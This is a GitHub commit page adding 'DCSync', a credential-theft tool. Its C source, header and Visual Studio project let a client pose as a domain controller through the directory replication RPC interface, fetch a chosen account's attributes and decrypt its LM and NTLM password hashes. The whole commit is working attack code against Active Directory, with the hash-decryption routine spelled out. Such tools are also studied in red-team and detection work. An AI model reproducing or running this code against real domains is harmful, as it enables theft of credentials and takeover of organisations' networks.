Skip to content

Commit

Permalink
DC Sync (or "Hey, I'm a DC!")
Browse files Browse the repository at this point in the history
Co-writed with Vincent LE TOUX
  • Loading branch information
gentilkiwi committed Aug 2, 2015
1 parent 0f89749 commit ad0462f
Show file tree
Hide file tree
Showing 14 changed files with 12,617 additions and 1 deletion.
1 change: 0 additions & 1 deletion asktgs/asktgs.c
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,6 @@ int main(int argc, char * argv[])
{
if(init())
{

kprintf("Ticket : %s\n", argv[1]);
if(kull_m_file_readData(argv[1], &ossTgtBuff.value, (PDWORD) &ossTgtBuff.length))
{
Expand Down
235 changes: 235 additions & 0 deletions dcsync/dcsync.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
/* Benjamin DELPY `gentilkiwi` ( [email protected] / http://blog.gentilkiwi.com )
Vincent LE TOUX ( [email protected] / http://www.mysmartlogon.com )
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
#include "dcsync.h"

int wmain(int argc, wchar_t * argv[])
{
RPC_BINDING_HANDLE hBinding;
DRS_HANDLE hDrs = NULL;
DSNAME dsName = {0};
DRS_MSG_GETCHGREQ getChReq = {0};
DWORD dwOutVersion = 0;
DRS_MSG_GETCHGREPLY getChRep = {0};
ULONG drsStatus;

DWORD ret;
LPCWSTR szUser, szDomain, szDc = NULL;
PDOMAIN_CONTROLLER_INFO cInfo = NULL;

kprintf(L"\n"
L" .#####. DCSync 1.0\n"
L" .## ^ ##. /* * *\n"
L" ## / \\ ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n"
L" ## \\ / ## Vincent LE TOUX ( [email protected] )\n"
L" '## v ##' http://blog.gentilkiwi.com (oe.eo)\n"
L" '#####' http://www.mysmartlogon.com * * */\n\n");

if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
{
kprintf(L"[DC] \'%s\' will be the user account\n", szUser);
if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
{
kprintf(L"[DC] \'%s\' will be the domain\n", szDomain);
if(!kull_m_string_args_byName(argc, argv, L"dc", &szDc, NULL))
{
ret = DsGetDcName(NULL, szDomain, NULL, NULL, DS_IS_DNS_NAME | DS_RETURN_DNS_NAME, &cInfo);
if(ret == ERROR_SUCCESS)
szDc = cInfo->DomainControllerName + 2;
else PRINT_ERROR(L"[DC] DsGetDcName: %u\n", ret);
}

if(szDc)
{
kprintf(L"[DC] \'%s\' will be the main server\n\n", szDc);
if(rpc_factory_create(szDc, RpcSecurityCallback, &hBinding))
{
if(rpc_factory_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, &dsName.Guid))
{
if(rpc_factory_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs))
{
getChReq.V8.pNC = &dsName;
getChReq.V8.ulFlags = 0x00000030;
getChReq.V8.cMaxObjects = 500;
getChReq.V8.cMaxBytes = 0x00a00000;
getChReq.V8.ulExtendedOp = 6;

__try
{
drsStatus = IDL_DRSGetNCChanges(hDrs, 8, &getChReq, &dwOutVersion, &getChRep);
if(drsStatus == 0)
{
if((dwOutVersion == 6) && (getChRep.V6.cNumObjects == 1))
descrUser(&getChRep.V6.pObjects[0].Entinf.AttrBlock);
}
else PRINT_ERROR(L"GetNCChanges: 0x%08x (%u)\n", drsStatus, drsStatus);

IDL_DRSUnbind(&hDrs);
}
__except( (RpcExceptionCode() != STATUS_ACCESS_VIOLATION) &&
(RpcExceptionCode() != STATUS_DATATYPE_MISALIGNMENT) &&
(RpcExceptionCode() != STATUS_PRIVILEGED_INSTRUCTION) &&
(RpcExceptionCode() != STATUS_ILLEGAL_INSTRUCTION) &&
(RpcExceptionCode() != STATUS_BREAKPOINT) &&
(RpcExceptionCode() != STATUS_STACK_OVERFLOW) &&
(RpcExceptionCode() != STATUS_IN_PAGE_ERROR) &&
(RpcExceptionCode() != STATUS_ASSERTION_FAILURE) &&
(RpcExceptionCode() != STATUS_STACK_BUFFER_OVERRUN) &&
(RpcExceptionCode() != STATUS_GUARD_PAGE_VIOLATION)
)
{
PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
}
}
}
rpc_factory_delete(&hBinding);
}
}
if(cInfo)
NetApiBufferFree(cInfo);
}
else PRINT_ERROR(L"Missing domain argument\n");
}
else PRINT_ERROR(L"Missing user argument\n");
return 0;
}

SecPkgContext_SessionKey g_sKey = {0, NULL};
void RPC_ENTRY RpcSecurityCallback(_In_ void *Context)
{
RPC_STATUS rpcStatus;
SECURITY_STATUS secStatus;
PCtxtHandle data = NULL;

rpcStatus = I_RpcBindingInqSecurityContext(Context, (LPVOID *) &data);
if(rpcStatus == RPC_S_OK)
{
if(g_sKey.SessionKey)
{
FreeContextBuffer(g_sKey.SessionKey);
g_sKey.SessionKeyLength = 0;
g_sKey.SessionKey = NULL;
}
secStatus = QueryContextAttributes((PCtxtHandle) data, SECPKG_ATTR_SESSION_KEY, (LPVOID) &g_sKey);
}
}

PVOID findMonoAttr(ATTRBLOCK *attributes, ATTRTYP type, PVOID data, DWORD *size)
{
PVOID ptr = NULL;
DWORD i;
ATTR *attribut;

if(data)
*(PVOID *)data = NULL;
if(size)
*size = 0;

for(i = 0; i < attributes->attrCount; i++)
{
attribut = &attributes->pAttr[i];
if(attribut->attrTyp == type)
{
if(attribut->AttrVal.valCount == 1)
{
ptr = attribut->AttrVal.pAVal[0].pVal;
if(data)
*(PVOID *)data = ptr;
if(size)
*size = attribut->AttrVal.pAVal[0].valLen;
}
break;
}
}
return ptr;
}

void findPrintMonoAttr(LPCWSTR prefix, ATTRBLOCK *attributes, ATTRTYP type, BOOL newLine)
{
PVOID ptr;
DWORD sz;
if(findMonoAttr(attributes, type, &ptr, &sz))
kprintf(L"%s%.*s%s", prefix ? prefix : L"", sz / sizeof(wchar_t), ptr, newLine ? L"\n" : L"");
}

void descrUser(ATTRBLOCK *attributes)
{
DWORD rid = 0;
PBYTE encodedData;
DWORD encodedDataSize;
BYTE clearHash[LM_NTLM_HASH_LENGTH];
PVOID data;

findPrintMonoAttr(L"SAM Username : ", attributes, ATT_SAM_ACCOUNT_NAME, TRUE);
findPrintMonoAttr(L"User Principal Name : ", attributes, ATT_USER_PRINCIPAL_NAME, TRUE);
findPrintMonoAttr(L"Object RDN : ", attributes, ATT_RDN, TRUE);

if(findMonoAttr(attributes, ATT_SAM_ACCOUNT_TYPE, &data, NULL))
kprintf(L"Account Type : %08x\n", *(PDWORD) data);

if(findMonoAttr(attributes, ATT_ACCOUNT_EXPIRES, &data, NULL))
{
kprintf(L"Account expiration : ");
kull_m_string_displayLocalFileTime((LPFILETIME) data);
kprintf(L"\n");
}

if(findMonoAttr(attributes, ATT_PWD_LAST_SET, &data, NULL))
{
kprintf(L"Password last change : ");
kull_m_string_displayLocalFileTime((LPFILETIME) data);
kprintf(L"\n");
}

if(findMonoAttr(attributes, ATT_OBJECT_SID, &data, NULL))
{
kprintf(L"Object Security ID : ");
kull_m_string_displaySID(data);
kprintf(L"\n");
rid = *GetSidSubAuthority(data, *GetSidSubAuthorityCount(data) - 1);
kprintf(L"Object Relative ID : %u\n", rid);

kprintf(L"\nCredentials:\n");

if(findMonoAttr(attributes, ATT_DBCS_PWD, &encodedData, &encodedDataSize))
{
kprintf(L" LM: ");
if(decryptHash(encodedData, encodedDataSize, rid, clearHash))
kull_m_string_wprintf_hex(clearHash, sizeof(clearHash), 0);
kprintf(L"\n");
}
if(findMonoAttr(attributes, ATT_UNICODE_PWD, &encodedData, &encodedDataSize))
{
kprintf(L" NTLM: ");
if(decryptHash(encodedData, encodedDataSize, rid, clearHash))
kull_m_string_wprintf_hex(clearHash, sizeof(clearHash), 0);
kprintf(L"\n");
}
}
}

BOOL decryptHash(PBYTE encodedData, DWORD encodedDataSize, DWORD rid, PBYTE data)
{
BOOL status = FALSE;
MD5_CTX md5ctx;
CRYPTO_BUFFER cryptoData, cryptoKey;

MD5Init(&md5ctx);
MD5Update(&md5ctx, g_sKey.SessionKey, g_sKey.SessionKeyLength);
MD5Update(&md5ctx, encodedData, 16); // salt
MD5Final(&md5ctx);

cryptoData.Length = cryptoData.MaximumLength = encodedDataSize - 16; // salt size
cryptoData.Buffer = encodedData + 16;// salt size
cryptoKey.Length = cryptoKey.MaximumLength = MD5_DIGEST_LENGTH;
cryptoKey.Buffer = md5ctx.digest;
if(NT_SUCCESS(RtlEncryptDecryptRC4(&cryptoData, &cryptoKey)))
{
status = NT_SUCCESS(RtlDecryptDES2blocks1DWORD(cryptoData.Buffer + 4, &rid, data));
if(!status)
PRINT_ERROR(L"RtlDecryptDES2blocks1DWORD");
}
else PRINT_ERROR(L"RtlEncryptDecryptRC4");
return status;
}
55 changes: 55 additions & 0 deletions dcsync/dcsync.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
/* Benjamin DELPY `gentilkiwi` ( [email protected] / http://blog.gentilkiwi.com )
Vincent LE TOUX ( [email protected] / http://www.mysmartlogon.com )
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
#pragma once
#include "globals.h"
#include <DsGetDC.h>
#include <LM.h>
#include "modules/kull_m_string.h"
#include "modules/kull_m_crypto_system.h"
#include "rpc/rpc_factory.h"

#define ATT_RDN 589825
#define ATT_OBJECT_GUID 589826
#define ATT_OBJECT_SID 589970
#define ATT_WHEN_CREATED 131074
#define ATT_WHEN_CHANGED 131075

#define ATT_SAM_ACCOUNT_NAME 590045
#define ATT_USER_PRINCIPAL_NAME 590480
#define ATT_SERVICE_PRINCIPAL_NAME 590595
#define ATT_SID_HISTORY 590433

#define ATT_SAM_ACCOUNT_TYPE 590126
#define ATT_LOGON_HOURS 589888
#define ATT_LOGON_WORKSTATION 589889
#define ATT_LAST_LOGON 589876
#define ATT_PWD_LAST_SET 589920
#define ATT_ACCOUNT_EXPIRES 589983
#define ATT_LOCKOUT_TIME 590486

#define ATT_UNICODE_PWD 589914
#define ATT_NT_PWD_HISTORY 589918
#define ATT_DBCS_PWD 589879
#define ATT_LM_PWD_HISTORY 589984
#define ATT_SUPPLEMENTAL_CREDENTIALS 589949

#define ATT_CURRENT_VALUE 589851

#define ATT_TRUST_ATTRIBUTES 590294
#define ATT_TRUST_AUTH_INCOMING 589953
#define ATT_TRUST_AUTH_OUTGOING 589959
#define ATT_TRUST_DIRECTION 589956
#define ATT_TRUST_PARENT 590295
#define ATT_TRUST_PARTNER 589957
#define ATT_TRUST_TYPE 589960

SecPkgContext_SessionKey g_sKey;

int wmain(int argc, wchar_t * argv[]);
void RPC_ENTRY RpcSecurityCallback(_In_ void *Context);
PVOID findMonoAttr(ATTRBLOCK *attributes, ATTRTYP type, PVOID data, DWORD *size);
void findPrintMonoAttr(LPCWSTR prefix, ATTRBLOCK *attributes, ATTRTYP type, BOOL newLine);
void descrUser(ATTRBLOCK *attributes);
BOOL decryptHash(PBYTE encodedData, DWORD encodedDataSize, DWORD rid, PBYTE data);
93 changes: 93 additions & 0 deletions dcsync/dcsync.vcxproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{2F4CBDD4-E97A-4708-A829-600230C3E980}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>dcsync</RootNamespace>
<SccProjectName>Svn</SccProjectName>
<SccAuxPath>Svn</SccAuxPath>
<SccLocalPath>Svn</SccLocalPath>
<SccProvider>SubversionScc</SccProvider>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\</OutDir>
<IntDir>$(Platform)\</IntDir>
<IncludePath>$(SolutionDir)inc;$(ProjectDir);$(IncludePath)</IncludePath>
<LibraryPath>$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<Optimization>Full</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<StringPooling>true</StringPooling>
<ExceptionHandling>false</ExceptionHandling>
<StructMemberAlignment>8Bytes</StructMemberAlignment>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FloatingPointModel>Fast</FloatingPointModel>
<FloatingPointExceptions>false</FloatingPointExceptions>
<CreateHotpatchableImage>false</CreateHotpatchableImage>
<ErrorReporting>None</ErrorReporting>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<AssemblyDebug>false</AssemblyDebug>
<LinkErrorReporting>NoErrorReport</LinkErrorReporting>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<AdditionalDependencies>advapi32.lib;user32.lib;dnsapi.lib;rpcrt4.lib;secur32.lib;netapi32.lib;ntdsapi.lib;cryptdll.lib;ntdll.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dcsync.c" />
<ClCompile Include="modules\kull_m_string.c" />
<ClCompile Include="rpc\rpc_factory.c" />
<ClCompile Include="rpc\ms-drsr_c.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\modules\kull_m_crypto_system.h" />
<ClInclude Include="dcsync.h" />
<ClInclude Include="globals.h" />
<ClInclude Include="modules\kull_m_string.h" />
<ClInclude Include="rpc\rpc_factory.h" />
<ClInclude Include="rpc\ms-drsr_h.h" />
<ClInclude Include="rpc\ms-dtyp.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
Loading

0 comments on commit ad0462f

Please sign in to comment.